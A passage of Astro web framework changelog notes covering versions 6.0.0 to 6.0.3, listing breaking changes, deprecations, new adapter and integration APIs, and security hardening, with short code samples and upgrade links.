sharing the same name as a page route would cause the dev server to return a 404 instead of serving the page. - [#&#8203;15869](https://github.com/withastro/astro/pull/15869) [`76b3a5e`](https://github.com/withastro/astro/commit/76b3a5e4bb1e9f2855d4169602295d601d7e7436) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Update the unknown file extension error hint to recommend `vite.resolve.noExternal`, which is the correct Vite 7 config key. ### [`v6.0.3`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#603) [Compare Source](https://github.com/withastro/astro/compare/astro@6.0.2...astro@6.0.3) ##### Patch Changes - [#&#8203;15711](https://github.com/withastro/astro/pull/15711) [`b2bd27b`](https://github.com/withastro/astro/commit/b2bd27bcb605d1e44e94ab922a8d7d2aa685149d) Thanks [@&#8203;OliverSpeir](https://github.com/OliverSpeir)! - Improves Astro core's dev environment handling for prerendered routes by ensuring route/CSS updates and prerender middleware behavior work correctly across both SSR and prerender environments. This enables integrations that use Astro's prerender dev environment (such as Cloudflare with `prerenderEnvironment: 'node'`) to get consistent route matching and HMR behavior during development. - [#&#8203;15852](https://github.com/withastro/astro/pull/15852) [`1cdaf9f`](https://github.com/withastro/astro/commit/1cdaf9f488e4db158db2c80ce192890b0b9bfa00) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes a regression where the the routes emitted by the `astro:build:done` hook didn't have the `distURL` array correctly populated. - [#&#8203;15765](https://github.com/withastro/astro/pull/15765) [`ca76ff1`](https://github.com/withastro/astro/commit/ca76ff1dedafdc764f551e753e0772b54f807fa1) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Hardens server island POST endpoint validation to use own-property checks for improved consistency ### [`v6.0.2`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#602) [Compare Source](https://github.com/withastro/astro/compare/astro@6.0.1...astro@6.0.2) ##### Patch Changes - [#&#8203;15832](https://github.com/withastro/astro/pull/15832) [`95e12a2`](https://github.com/withastro/astro/commit/95e12a250ece206f55f8c0c07c9c05489f3df93f) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Fixes `return;` syntax not working in the frontmatter correctly in certain contexts ### [`v6.0.1`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#601) [Compare Source](https://github.com/withastro/astro/compare/astro@6.0.0...astro@6.0.1) ##### Patch Changes - [#&#8203;15827](https://github.com/withastro/astro/pull/15827) [`a4c0d0b`](https://github.com/withastro/astro/commit/a4c0d0b4df540b23fa85bf926f9cc97470737fa1) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes `astro add` so the tsconfig preview shows the actual pending changes before confirmation ### [`v6.0.0`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#600) [Compare Source](https://github.com/withastro/astro/compare/astro@5.18.2...astro@6.0.0) ##### Major Changes - [#&#8203;14446](https://github.com/withastro/astro/pull/14446) [`ece667a`](https://github.com/withastro/astro/commit/ece667a737a96c8bfea2702de7207bed0842b37c) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Removes `entryPoints` on `astro:build:ssr` hook (Integration API) - ([v6 upgrade guidance](https://docs.astro.build/en/guides/upgrade-to/v6/#removed-entrypoints-on-astrobuildssr-hook-integration-api)) - [#&#8203;15535](https://github.com/withastro/astro/pull/15535) [`dfe2e22`](https://github.com/withastro/astro/commit/dfe2e22042f92172442ab32777b3cce90685b76a) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Deprecates `loadManifest()` and `loadApp()` from `astro/app/node` (Adapter API) - ([v6 upgrade guidance](https://docs.astro.build/en/guides/upgrade-to/v6/#deprecated-loadmanifest-and-loadapp-from-astroappnode-adapter-api)) - [#&#8203;15006](https://github.com/withastro/astro/pull/15006) [`f361730`](https://github.com/withastro/astro/commit/f361730bc820c01a2ec3e508ac940be8077d8c04) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Removes session `test` driver - ([v6 upgrade guidance](https://docs.astro.build/en/guides/upgrade-to/v6/#removed-session-test-driver)) - [#&#8203;15461](https://github.com/withastro/astro/pull/15461) [`9f21b24`](https://github.com/withastro/astro/commit/9f21b243d21478cdc5fb0193e05adad8e753839f) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - **BREAKING CHANGE to the v6 beta Adapter API only**: renames `entryType` to `entrypointResolution` and updates possible values Astro 6 introduced a way to let adapters have more control over the entrypoint by passing `entryType: 'self'` to `setAdapter()`. However during beta development, the name was unclear and confusing. `entryType` is now renamed to `entrypointResolution` and its possible values are updated: - `legacy-dynamic` becomes `explicit`. - `self` becomes `auto`. If you are building an adapter with v6 beta and specifying `entryType`, update it: ```diff setAdapter({ // ... - entryType: 'legacy-dynamic' + entrypointResolution: 'explicit' }) setAdapter({ // ... - entryType: 'self' + entrypointResolution: 'auto' }) ``` - [#&#8203;14426](https://github.com/withastro/astro/pull/14426) [`861b9cc`](https://github.com/withastro/astro/commit/861b9cc770a05d9fcfcb2f1f442a3ba41e94b510) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Removes the deprecated `emitESMImage()` function - ([v6 upgrade guidance](https://docs.astro.build/en/guides/upgrade-to/v6/#removed-emitesmimage)) - [#&#8203;15006](https://github.com/withastro/astro/pull/15006) [`f361730`](https://github.com/withastro/astro/commit/f361730bc820c01a2ec3e508ac940be8077d8c04) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Deprecates session driver string signature - ([v6 upgrade guidance](https://docs.astro.build/en/guides/upgrade-to/v6/#deprecated-session-driver-string-signature)) - [#&#8203;15180](https://github.com/withastro/astro/pull/15180) [`8780ff2`](https://github.com/withastro/astro/commit/8780ff2926d59ed196c70032d2ae274b8415655c) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Adds support for converting SVGs to raster images (PNGs, WebP, etc) to the default Sharp image service - ([v6 upgrade guidance](https://docs.astro.build/en/guides/upgrade-to/v6/#changed-svg-rasterization)) - [#&#8203;14446](https://github.com/withastro/astro/pull/14446) [`ece667a`](https://github.com/withastro/astro/commit/ece667a737a96c8bfea2702de7207bed0842b37c) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Removes `routes` on `astro:build:done` hook (Integration API) - ([v6 upgrade guidance](https://docs.astro.build/en/guides/upgrade-to/v6/#removed-routes-on-astrobuilddone-hook-integration-api)) - [#&#8203;15424](https://github.com/withastro/astro/pull/15424) [`33d6146`](https://github.com/withastro/astro/commit/33d6146e4872bb1e3feef0a6c0ea8e62f49f4c7e) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Throws an error when `getImage()` from `astro:assets` is called on the client - ([v6 upgrade guidance](https://v6.docs.astro.build/en/guides/upgrade-to/v6/#changed-getimage-throws-when-called-on-the-client)) - [#&#8203;14462](https://github.com/withastro/astro/pull/14462) [`9fdfd4c`](https://github.com/withastro/astro/commit/9fdfd4c620313827e65664632a9c9cb435ad07ca) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Removes the old `app.render()` signature (Adapter API) - ([v6 upgrade guidance](https://docs.astro.build/en/guides/upgrade-to/v6/#removed-old-apprender-signature-adapter-api)) - [#&#8203;14956](https://github.com/withastro/astro/pull/14956) [`0ff51df`](https://github.com/withastro/astro/commit/0ff51dfa3c6c615af54228e159f324034472b1a2) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Astro v6.0 upgrades to Zod v4 for schema validation - ([v6 upgrade guidance](https://docs.astro.build/en/guides/upgrade-to/v6/#zod-4)) - [#&#8203;14759](https://github.com/withastro/astro/pull/14759) [`d7889f7`](https://github.com/withastro/astro/commit/d7889f768a4d27e8c4ad3a0022099d19145a7d58) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Updates how schema types are inferred for content loaders with schemas (Loader API) - ([v6 upgrade guidance](https://docs.astro.build/en/guides/upgrade-to/v6/#changed-schema-types-are-inferred-instead-of-generated-content-loader-api)) - [#&#8203;15192](https://github.com/withastro/astro/pull/15192) [`ada2808`](https://github.com/withastro/astro/commit/ada2808a23fc70ea1f1663f3e1b69c6b735251e5) Thanks [@&#8203;gameroman](https://github.com/gameroman)! - Removes support for CommonJS config files - ([v6 upgrade guidance](https://docs.astro.build/en/guides/upgrade-to/v6/#removed-support-for-commonjs-config-files)) - [#&#8203;14462](https://github.com/withastro/astro/pull/14462) [`9fdfd4c`](https://github.com/withastro/astro/commit/9fdfd4c620313827e65664632a9c9cb435ad07ca) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Removes `prefetch()` `with` option - ([v6 upgrade guidance](https://docs.astro.build/en/guides/upgrade-to/v6/#removed-prefetch-with-option)) - [#&#8203;14306](https://github.com/withastro/astro/pull/14306) [`141c4a2`](https://github.com/withastro/astro/commit/141c4a26419fe5bb4341953ea5a0a861d9b398c0) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Removes support for routes with percent-encoded percent signs (e.g. `%25`) - ([v6 upgrade guidance](https://docs.astro.build/en/guides/upgrade-to/v6/#removed-percent-encoding-in-routes)) - [#&#8203;14432](https://github.com/withastro/astro/pull/14432) [`b1d87ec`](https://github.com/withastro/astro/commit/b1d87ec3bc2fbe214437990e871df93909d18f62) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Deprecates `Astro` in `getStaticPaths()` - ([v6 upgrade guidance](https://docs.astro.build/en/guides/upgrade-to/v6/#deprecated-astro-in-getstaticpaths)) - [#&#8203;14759](https://github.com/withastro/astro/pull/14759) [`d7889f7`](https://github.com/withastro/astro/commit/d7889f768a4d27e8c4ad3a0022099d19145a7d58) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Removes the option to define dynamic schemas in content loaders as functions and adds a new equivalent `createSchema()` property (Loader API) - ([v6 upgrade guidance](https://docs.astro.build/en/guides/upgrade-to/v6/#removed-schema-function-signature-content-loader-api)) - [#&#8203;14457](https://github.com/withastro/astro/pull/14457) [`049da87`](https://github.com/withastro/astro/commit/049da87cb7ce1828f3025062ce079dbf132f5b86) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Updates trailing slash behavior of endpoint URLs - ([v6 upgrade guidance](https://docs.astro.build/en/guides/upgrade-to/v6/#changed-endpoints-with-a-file-extension-cannot-be-accessed-with-a-trailing-slash)) - [#&#8203;14494](https://github.com/withastro/astro/pull/14494) [`727b0a2`](https://github.com/withastro/astro/commit/727b0a205eb765f1c36f13a73dfc69e17e44df8f) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Updates Markdown heading ID generation - ([v6 upgrade guidance](https://docs.astro.build/en/guides/upgrade-to/v6/#changed-markdown-heading-id-generation)) - [#&#8203;14461](https://github.com/withastro/astro/pull/14461) [`55a1a91`](https://github.com/withastro/astro/commit/55a1a911aa4e0d38191f8cb9464ffd58f3eb7608) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Deprecates `import.meta.env.ASSETS_PREFIX` - ([v6 upgrade guidance](https://docs.astro.build/en/guides/upgrade-to/v6/#deprecated-importmetaenvassets_prefix)) - [#&#8203;14586](https://github.com/withastro/astro/pull/14586) [`669ca5b`](https://github.com/withastro/astro/commit/669ca5b0199d9933f54c76448de9ec5a9f13c430) Thanks [@&#8203;ocavue](https://github.com/ocavue)! - Changes the values allowed in `params` returned by `getStaticPaths()` - ([v6 upgrade guidance](https://docs.astro.build/en/guides/upgrade-to/v6/#changed-getstaticpaths-cannot-return-params-of-type-number)) - [#&#8203;15668](https://github.com/withastro/astro/pull/15668) [`1118ac4`](https://github.com/withastro/astro/commit/1118ac4f299341e15061e8a4e6e8423071c4d41c) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Changes TypeScript configuration - ([v6 upgrade guidance](https://docs.astro.build/en/guides/upgrade-to/v6/#changed-typescript-configuration)) - [#&#8203;14421](https://github.com/withastro/astro/pull/14421) [`df6d2d7`](https://github.com/withastro/astro/commit/df6d2d7bbcaf6b6a327a37a6437d4adade6e2485) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Removes the previously deprecated `Astro.glob()` - ([v6 upgrade guidance](https://docs.astro.build/en/guides/upgrade-to/v6/#removed-astroglob)) - [#&#8203;15049](https://github.com/withastro/astro/pull/15049) [`beddfeb`](https://github.com/withastro/astro/commit/beddfeb31e807cb472a43fa56c69f85dbadc9604) Thanks [@&#8203;Ntale3](https://github.com/Ntale3)! - Removes the ability to render Astro components in Vitest client environments - ([v6 upgrade guidance](https://docs.astro.build/en/guides/upgrade-to/v6/#changed-astro-components-cannot-be-rendered-in-vitest-client-environments-container-api)) - [#&#8203;15461](https://github.com/withastro/astro/pull/15461) [`9f21b24`](https://github.com/withastro/astro/commit/9f21b243d21478cdc5fb0193e05adad8e753839f) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Deprecates `createExports()` and `start()` (Adapter API) - ([v6 upgrade guidance](https://docs.astro.build/en/guides/upgrade-to/v6/#deprecated-createexports-and-start-adapter-api)) - [#&#8203;15535](https://github.com/withastro/astro/pull/15535) [`dfe2e22`](https://github.com/withastro/astro/commit/dfe2e22042f92172442ab32777b3cce90685b76a) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Deprecates `NodeApp` from `astro/app/node` (Adapter API) - ([v6 upgrade guidance](https://docs.astro.build/en/guides/upgrade-to/v6/#deprecated-nodeapp-from-astroappnode-adapter-api)) - [#&#8203;14462](https://github.com/withastro/astro/pull/14462) [`9fdfd4c`](https://github.com/withastro/astro/commit/9fdfd4c620313827e65664632a9c9cb435ad07ca) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Removes the `handleForms` prop for the `<ClientRouter />` component - ([v6 upgrade guidance](https://docs.astro.build/en/guides/upgrade-to/v6/#removed-handleforms-prop-for-the-clientrouter--component)) - [#&#8203;14427](https://github.com/withastro/astro/pull/14427) [`e131261`](https://github.com/withastro/astro/commit/e1312615b39c59ebc05d5bb905ee0960b50ad3cf) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Increases minimum Node.js version to 22.12.0 - ([v6 upgrade guidance](https://docs.astro.build/en/guides/upgrade-to/v6/#node-22)) - [#&#8203;15332](https://github.com/withastro/astro/pull/15332) [`7c55f80`](https://github.com/withastro/astro/commit/7c55f80fa1fd91f8f71ad60437f81e6c7f98f69d) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Adds frontmatter parsing support to `renderMarkdown` in content loaders. When markdown content includes frontmatter, it is now extracted and available in `metadata.frontmatter`, and excluded from the HTML output. This makes `renderMarkdown` behave consistently with the `glob` loader. ```js const loader = { name: 'my-loader', load: async ({ store, renderMarkdown }) => { const content = `--- title: My Post --- # Hello World `; const rendered = await renderMarkdown(content); // rendered.metadata.frontmatter is now { title: 'My Post' } // rendered.html contains only the content, not the frontmatter }, }; ``` - [#&#8203;14400](https://github.com/withastro/astro/pull/14400) [`c69c7de`](https://github.com/withastro/astro/commit/c69c7de1ffeff29f919d97c262f245927556f875) Thanks [@&#8203;ellielok](https://github.com/ellielok)! - Removes the deprecated `<ViewTransitions />` component - ([v6 upgrade guidance](https://docs.astro.build/en/guides/upgrade-to/v6/#removed-viewtransitions--component)) - [#&#8203;14306](https://github.com/withastro/astro/pull/14306) [`141c4a2`](https://github.com/withastro/astro/commit/141c4a26419fe5bb4341953ea5a0a861d9b398c0) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Removes `RouteData.generate` from the Integration API - ([v6 upgrade guidance](https://docs.astro.build/en/guides/upgrade-to/v6/#removed-routedatagenerate-adapter-api)) - [#&#8203;14406](https://github.com/withastro/astro/pull/14406) [`4f11510`](https://github.com/withastro/astro/commit/4f11510c9ed932f5cb6d1075b1172909dd5db23e) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Changes the default routing configuration value of `i18n.routing.redirectToDefaultLocale` from `true` to `false` - ([v6 upgrade guidance](https://docs.astro.build/en/guides/upgrade-to/v6/#changed-i18nroutingredirecttodefaultlocale-default-value)) - [#&#8203;14989](https://github.com/withastro/astro/pull/14989) [`73e8232`](https://github.com/withastro/astro/commit/73e823201cc5bdd6ccab14c07ff0dca5117436ad) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Deprecates exposed `astro:transitions` internals - ([v6 upgrade guidance](https://docs.astro.build/en/guides/upgrade-to/v6/#deprecated-exposed-astrotransitions-internals)) - [#&#8203;15726](https://github.com/withastro/astro/pull/15726) [`6f19ecc`](https://github.com/withastro/astro/commit/6f19ecc35adfb2ddaabbba2269630f95c13f5a57) Thanks [@&#8203;ocavue](https://github.com/ocavue)! - Updates dependency `shiki` to v4 Check [Shiki's upgrade guide](https://shiki.style/blog/v4). - [#&#8203;14758](https://github.com/withastro/astro/pull/14758) [`010f773`](https://github.com/withastro/astro/commit/010f7731becbaaba347da21ef07b8a410e31442a) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Removes the `setManifestData` method from `App` and `NodeApp` (Adapter API) - ([v6 upgrade guidance](https://docs.astro.build/en/guides/upgrade-to/v6/#removed-appsetmanifestdata-adapter-api)) - [#&#8203;14477](https://github.com/withastro/astro/pull/14477) [`25fe093`](https://github.com/withastro/astro/commit/25fe09396dbcda2e1008c01a982f4eb2d1f33ae6) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Removes `rewrite()` from Actions context - ([v6 upgrade guidance](https://docs.astro.build/en/guides/upgrade-to/v6/#removed-rewrite-from-actions-context)) - [#&#8203;14826](https://github.com/withastro/astro/pull/14826) [`170f64e`](https://github.com/withastro/astro/commit/170f64e977290b8f9d316b5f283bd03bae33ddde) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Removes the `experimental.failOnPrerenderConflict` flag and replaces it with a new configuration option `prerenderConflictBehavior` - ([v6 upgrade guidance](https://docs.astro.build/en/guides/upgrade-to/v6/#experimental-flags)) - [#&#8203;14923](https://github.com/withastro/astro/pull/14923) [`95a1969`](https://github.com/withastro/astro/commit/95a1969a05cc9c15f16dcf2177532882bb392581) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Deprecates `astro:schema` and `z` from `astro:content` in favor of `astro/zod` - ([v6 upgrade guidance](https://docs.astro.build/en/guides/upgrade-to/v6/#deprecated-astroschema-and-z-from-astrocontent)) - [#&#8203;14844](https://github.com/withastro/astro/pull/14844) [`8d43b1d`](https://github.com/withastro/astro/commit/8d43b1d678eed5be85f99b939d55346824c03cb5) Thanks [@&#8203;trueberryless](https://github.com/trueberryless)! - Removes exposed `astro:actions` internals - ([v6 upgrade guidance](https://docs.astro.build/en/guides/upgrade-to/v6/#removed-exposed-astroactions-internals)) - [#&#8203;14306](https://github.com/withastro/astro/pull/14306) [`141c4a2`](https://github.com/withastro/astro/commit/141c4a26419fe5bb4341953ea5a0a861d9b398c0) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Changes the shape of `SSRManifest` properties and adds several new required properties in the Adapter API - ([v6 upgrade guidance](https://docs.astro.build/en/guides/upgrade-to/v6/#changed-ssrmanifest-interface-structure-adapter-api)) - [#&#8203;15266](https://github.com/withastro/astro/pull/15266) [`f7c9365`](https://github.com/withastro/astro/commit/f7c9365d92b2196d4ba6cffd01b01967ca73728c) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Allows `Astro.csp` and `context.csp` to be undefined instead of throwing errors when `csp: true` is not configured When using the experimental Content Security Policy feature in Astro 5.x, `context.csp` was always defined but would throw if `experimental.csp` was not enabled in the Astro config. For the stable version of this API in Astro 6, `context.csp` can now be undefined if CSP is not enabled and its methods will never throw. ##### What should I do? If you were using experimental CSP runtime utilities, you must now access methods conditionally: ```diff -Astro.csp.insertDirective("default-src 'self'"); +Astro.csp?.insertDirective("default-src 'self'"); ``` - [#&#8203;14445](https://github.com/withastro/astro/pull/14445) [`ecb0b98`](https://github.com/withastro/astro/commit/ecb0b98396f639d830a99ddb5895ab9223e4dc87) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Astro v6.0 upgrades to Vite v7.0 as the development server and production bundler - ([v6 upgrade guidance](https://docs.astro.build/en/guides/upgrade-to/v6/#vite-70)) - [#&#8203;15407](https://github.com/withastro/astro/pull/15407) [`aedbbd8`](https://github.com/withastro/astro/commit/aedbbd818628bed0533cdd627b73e2c5365aa17e) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Changes how styles of responsive images are emitted - ([v6 upgrade guidance](https://docs.astro.build/en/guides/upgrade-to/v6/#changed-how-responsive-image-styles-are-emitted)) - [#&#8203;14306](https://github.com/withastro/astro/pull/14306) [`141c4a2`](https://github.com/withastro/astro/commit/141c4a26419fe5bb4341953ea5a0a861d9b398c0) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Changes integration hooks and HMR access patterns in the Integration API - ([v6 upgrade guidance](https://docs.astro.build/en/guides/upgrade-to/v6/#changed-integration-hooks-and-hmr-access-patterns-integration-api)) - [#&#8203;14306](https://github.com/withastro/astro/pull/14306) [`141c4a2`](https://github.com/withastro/astro/commit/141c4a26419fe5bb4341953ea5a0a861d9b398c0) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Removes the unused `astro:ssr-manifest` virtual module - ([v6 upgrade guidance](https://docs.astro.build/en/guides/upgrade-to/v6/#removed-astrossr-manifest-virtual-module-integration-api)) - [#&#8203;14485](https://github.com/withastro/astro/pull/14485) [`6f67c6e`](https://github.com/withastro/astro/commit/6f67c6eef2647ef1a1eab78a65a906ab633974bb) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Updates `import.meta.env` values to always be inlined - ([v6 upgrade guidance](https://docs.astro.build/en/guides/upgrade-to/v6/#changed-importmetaenv-values-are-always-inlined)) - [#&#8203;14480](https://github.com/withastro/astro/pull/14480) [`36a461b`](https://github.com/withastro/astro/commit/36a461bf3f64c467bc52aecf511cd831d238e18b) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Updates `<script>` and `<style>` tags to render in the order they are defined - ([v6 upgrade guidance](https://docs.astro.build/en/guides/upgrade-to/v6/#changed-script-and-style-tags-are-rendered-in-the-order-they-are-defined)) - [#&#8203;14407](https://github.com/withastro/astro/pull/14407) [`3bda3ce`](https://github.com/withastro/astro/commit/3bda3ce4edcb1bd1349890c6ed8110f05954c791) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Removes legacy content collection support - ([v6 upgrade guidance](https://docs.astro.build/en/guides/upgrade-to/v6/#removed-legacy-content-collections)) ##### Minor Changes - [#&#8203;14306](https://github.com/withastro/astro/pull/14306) [`141c4a2`](https://github.com/withastro/astro/commit/141c4a26419fe5bb4341953ea5a0a861d9b398c0) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Adds new optional properties to `setAdapter()` for adapter entrypoint handling in the Adapter API **Changes:** - New optional properties: - `entryType?: 'self' | 'legacy-dynamic'` - determines if the adapter provides its own entrypoint (`'self'`) or if Astro constructs one (`'legacy-dynamic'`, default) **Migration:** Adapter authors can optionally add these properties to support custom dev entrypoints. If not specified, adapters will use the legacy behavior. - [#&#8203;15700](https://github.com/withastro/astro/pull/15700) [`4e7f3e8`](https://github.com/withastro/astro/commit/4e7f3e8e6849c314a0ab031ebd7f23fb982f0529) Thanks [@&#8203;ocavue](https://github.com/ocavue)! - Updates the internal logic during SSR by providing additional metadata for UI framework integrations. - [#&#8203;15231](https://github.com/withastro/astro/pull/15231) [`3928b87`](https://github.com/withastro/astro/commit/3928b879dd35fa4ec4dcf545f1610a0f0a55fdae) Thanks [@&#8203;rururux](https://github.com/rururux)! - Adds a new optional `getRemoteSize()` method to the Image Service API. Previously, `inferRemoteSize()` had a fixed implementation that fetched the entire image to determine its dimensions. With this new helper function that extends `inferRemoteSize()`, you can now override or extend how remote image metadata is retrieved. This enables use cases such as: - Caching: Storing image dimensions in a database or local cache to avoid redundant network requests. - Provider APIs: Using a specific image provider's API (like Cloudinary or Vercel) to get dimensions without downloading the file. For example, you can add a simple cache layer to your existing image service: ```js const cache = new Map(); const myService = { ...baseService, async getRemoteSize(url, imageConfig) { if (cache.has(url)) return cache.get(url); const result = await baseService.getRemoteSize(url, imageConfig); cache.set(url, result); return result; }, }; ``` See the [Image Services API reference documentation](https://docs.astro.build/en/reference/image-service-reference/#getremotesize) for more information. - [#&#8203;15077](https://github.com/withastro/astro/pull/15077) [`a164c77`](https://github.com/withastro/astro/commit/a164c77336059f2dc3e7f7fe992aa754ed145ef3) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Updates the Integration API to add `setPrerenderer()` to the `astro:build:start` hook, allowing adapters to provide custom prerendering logic. The new API accepts either an `AstroPrerenderer` object directly, or a factory function that receives the default prerenderer: ```js 'astro:build:start': ({ setPrerenderer }) => { setPrerenderer((defaultPrerenderer) => ({ name: 'my-prerenderer', async setup() { // Optional: called once before prerendering starts }, async getStaticPaths() { // Returns array of { pathname: string, route: RouteData } return defaultPrerenderer.getStaticPaths(); }, async render(request, { routeData }) { // request: Request // routeData: RouteData // Returns: Response }, async teardown() { // Optional: called after all pages are prerendered } })); } ``` Also adds the `astro:static-paths` virtual module, which exports a `StaticPaths` class for adapters to collect all prerenderable paths from within their target runtime. This is useful when implementing a custom prerenderer that runs in a non-Node environment: ```js // In your adapter's request handler (running in target runtime) import { App } from 'astro/app'; import { StaticPaths } from 'astro:static-paths'; export function createApp(manifest) { const app = new App(manifest); return { async fetch(request) { const { pathname } = new URL(request.url); // Expose endpoint for prerenderer to get static paths if (pathname === '/__astro_static_paths') { const staticPaths = new StaticPaths(app); const paths = await staticPaths.getAll(); return new Response(JSON.stringify({ paths })); } // Normal request handling return app.render(request); }, }; } ``` See the [adapter reference](https://docs.astro.build/en/reference/adapter-reference/#custom-prerenderer) for more details on implementing a custom prerenderer. - [#&#8203;15345](https://github.com/withastro/astro/pull/15345) [`840fbf9`](https://github.com/withastro/astro/commit/840fbf9e4abc7f847e23da8d67904ffde4d95fff) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Adds a new `emitClientAsset` function to `astro/assets/utils` for integration authors. This function allows emitting assets that will be moved to the client directory during SSR builds, useful for assets referenced in server-rendered content that need to be available on the client. ```ts import { emitClientAsset } from 'astro/assets/utils'; // Inside a Vite plugin's transform or load hook const handle = emitClientAsset(this, { type: 'asset', name: 'my-image.png', source: imageBuffer, }); ``` - [#&#8203;15460](https://github.com/withastro/astro/pull/15460) [`ee7e53f`](https://github.com/withastro/astro/commit/ee7e53f9de2338517e149895efd26fca44ad80b6) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Updates the Adapter API to allow providing a `serverEntrypoint` when using `entryType: 'self'` Astro 6 introduced a new powerful yet simple Adapter API for defining custom server entrypoints. You can now call `setAdapter()` with the `entryType: 'self'` option and specify your custom `serverEntrypoint`: ```js export function myAdapter() { return { name: 'my-adapter', hooks: { 'astro:config:done': ({ setAdapter }) => { setAdapter({ name: 'my-adapter', entryType: 'self', serverEntrypoint: 'my-adapter/server.js', supportedAstroFeatures: { // ... }, }); }, }, }; } ``` If you need further customization at the Vite level, you can omit `serverEntrypoint` and instead specify your custom server entrypoint with [`vite.build.rollupOptions.input`](https://rollupjs.org/configuration-options/#input). - [#&#8203;15781](https://github.com/withastro/astro/pull/15781) [`2de969d`](https://github.com/withastro/astro/commit/2de969d1f5279d2d0f3024208146f9cd895267b6) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Adds a new `clientAddress` option to the `createContext()` function Providing this value gives adapter and middleware authors explicit control over the client IP address. When not provided, accessing `clientAddress` throws an error consistent with other contexts where it is not set by the adapter. Additionally, both of the official Netlify and Vercel adapters have been updated to provide this information in their edge middleware. ```js import { createContext } from 'astro/middleware'; createContext({ clientAddress: context.headers.get('x-real-ip'), }); ``` - [#&#8203;15258](https://github.com/withastro/astro/pull/15258) [`d339a18`](https://github.com/withastro/astro/commit/d339a182b387a7a1b0d5dd0d67a0638aaa2b4262) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Stabilizes the adapter feature `experimentalStatiHeaders`. If you were using this feature in any of the supported adapters, you'll need to change the name of the flag: ```diff export default defineConfig({ adapter: netlify({ - experimentalStaticHeaders: true + staticHeaders: true }) }) ``` - [#&#8203;15535](https://github.com/withastro/astro/pull/15535) [`dfe2e22`](https://github.com/withastro/astro/commit/dfe2e22042f92172442ab32777b3cce90685b76a) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Exports new `createRequest()` and `writeResponse()` utilities from `astro/app/node` To replace the deprecated `NodeApp.createRequest()` and `NodeApp.writeResponse()` methods, the `astro/app/node` module now exposes new `createRequest()` and `writeResponse()` utilities. These can be used to convert a NodeJS `IncomingMessage` into a web-standard `Request` and stream a web-standard `Response` into a NodeJS `ServerResponse`: ```js import { createApp } from 'astro/app/entrypoint'; import { createRequest, writeResponse } from 'astro/app/node'; import { createServer } from 'node:http'; const app = createApp(); const server = createServer(async (req, res) => { const request = createRequest(req); const response = await app.render(request); await writeResponse(response, res); }); ``` - [#&#8203;15755](https://github.com/withastro/astro/pull/15755) [`f9ee868`](https://github.com/withastro/astro/commit/f9ee8685dd26e9afeba3b48d41ad6714f624b12f) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Adds a new `security.serverIslandBodySizeLimit` configuration option Server island POST endpoints now enforce a body size limit, similar to the existing `security.actionBodySizeLimit` for Actions. The new option defaults to `1048576` (1 MB) and can be configured independently. Requests exceeding the limit are rejected with a 413 response. You can customize the limit in your Astro config: ```js export default defineConfig({ 